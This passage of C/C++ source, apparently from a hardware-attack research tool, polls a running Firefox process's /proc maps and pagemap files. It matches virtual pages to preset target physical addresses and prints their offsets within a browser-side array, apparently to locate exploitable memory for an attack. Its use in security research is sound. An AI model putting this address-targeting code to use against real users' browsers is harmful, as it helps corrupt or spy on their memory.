(getline(&line,&n,f) == -1) 199 | { 200 | exit(printf("firefox not running\n")); 201 | } 202 | pclose(f); 203 | char* end = 0; 204 | size_t pid = strtoull(line,&end,10); 205 | if (end == line) 206 | { 207 | exit(printf("pid parsing failed\n")); 208 | } 209 | printf("%zu\n",pid); 210 | char procfsname[128]; 211 | snprintf(procfsname,128,"/proc/%zu/maps",pid); 212 | char procfsphys[128]; 213 | snprintf(procfsphys,128,"/proc/%zu/pagemap",pid); 214 | f = fopen(procfsname,"r"); 215 | FILE* fp = fopen(procfsphys,"r"); 216 | size_t t0 = rdtsc(); 217 | size_t round = 0; 218 | while (1) 219 | { 220 | round++; 221 | while (getline(&line,&n,f) != -1) 222 | { 223 | line[strlen(line)-1] = 0; 224 | size_t vstart = 0; 225 | size_t vend = 0; 226 | sscanf(line,"%zx-%zx",&vstart,&vend); 227 | if (virt2string.find(vstart) == virt2string.end()) 228 | { 229 | virt2string[vstart] = line + 73; 230 | } 231 | virt.insert(vstart); 232 | if (oldvirt.find(vstart) == oldvirt.end()) 233 | { 234 | //printf("new: addr %zx, old size %zu, new size %zu (%s)\n",vstart,virt2size[vstart],vend - vstart, virt2string[vstart].c_str()); 235 | } 236 | else if (virt2size[vstart] != vend - vstart) 237 | { 238 | //printf("chg: addr %zx, old size %zu, new size %zu (%s)\n",vstart,virt2size[vstart],vend - vstart, virt2string[vstart].c_str()); 239 | } 240 | virt2size[vstart] = vend - vstart; 241 | } 242 | for (auto v : oldvirt) 243 | { 244 | if (virt.find(v) == virt.end()) 245 | { 246 | //printf("del: addr %zx, old size %zu (%s)\n",v,virt2size[v], virt2string[v].c_str()); 247 | virt2string.erase(virt2string.find(v)); 248 | for (size_t i = 0; i < virt2size[v]; i += 4096) 249 | { 250 | if (((v+i) & 0x1fffff) != 0 || (virt2phys[v+i] & 0x1fffff) != 0) 251 | continue; 252 | if (virt2phys[v+i] != 0) 253 | { 254 | //printf("unm: %zx -> %zx\n",v + i,virt2phys[v+i]); 255 | } 256 | virt2phys.erase(virt2phys.find(v+i)); 257 | } 258 | virt2size.erase(virt2size.find(v)); 259 | } 260 | } 261 | for (auto v : virt) 262 | { 263 | for (size_t i = 0; i < virt2size[v]; i += 4096) 264 | { 265 | size_t paddr = vaddr2paddr(fp,v + i); 266 | if (((v+i) & 0x1fffff) != 0 || (paddr & 0x1fffff) != 0 || paddr == 0) 267 | continue; 268 | if (virt2phys[v+i] != vaddr2paddr(fp,v + i) && (i == 0 || virt2phys[v+i] != virt2phys[v+i-1]+0x1000)) 269 | { 270 | size_t t1 = rdtsc(); 271 | printf("%10zu map %5zu: %20zx -> %20zx",(t1-t0)/2500000,alloccounter++,v + i,paddr); 272 | for (size_t j = 0; j < N_TARGET_ADDRS; ++j) 273 | { 274 | if ((target_addrs[j] & ~0x1fffff) == paddr) 275 | { 276 | printf(" (%zu)",found_target_addrs); 277 | phys2virtsel[paddr] = v + i; 278 | found_target_addrs++; 279 | } 280 | } 281 | printf("\n"); 282 | if (found_target_addrs == N_TARGET_ADDRS) 283 | { 284 | printf("array start> "); 285 | size_t array_start = 0; 286 | size_t result = scanf("%zx",&array_start); 287 | for (size_t j = 0; j < N_TARGET_ADDRS; ++j) 288 | { 289 | size_t virt = phys2virtsel[target_addrs[j] & ~0x1fffff] | (target_addrs[j] & 0x1fffff); 290 | printf("%zx -> %zx -> %zx\n",target_addrs[j],virt,virt - array_start); 291 | } 292 | for (size_t j = 0; j < N_TARGET_ADDRS; ++j) 293 | { 294 | size_t virt = phys2virtsel[target_addrs[j] & ~0x1fffff] | (target_addrs[j] & 0x1fffff); 295 | printf("%zx\n",virt - array_start); 296 | } 297 | exit(0); 298 | } 299 | t0 = t1; 300 | } 301 | virt2phys[v+i] = vaddr2paddr(fp,v + i); 302 | } 303 | } 304 | if (round < 2) 305 | alloccounter = 0; 306 | oldvirt = virt; 307 | virt.clear(); 308 | fseek(f,0,SEEK_SET); 309 | } 310 | free(line); 311 | return 0; 312 | } 313 | --------------------------------------------------------------------------------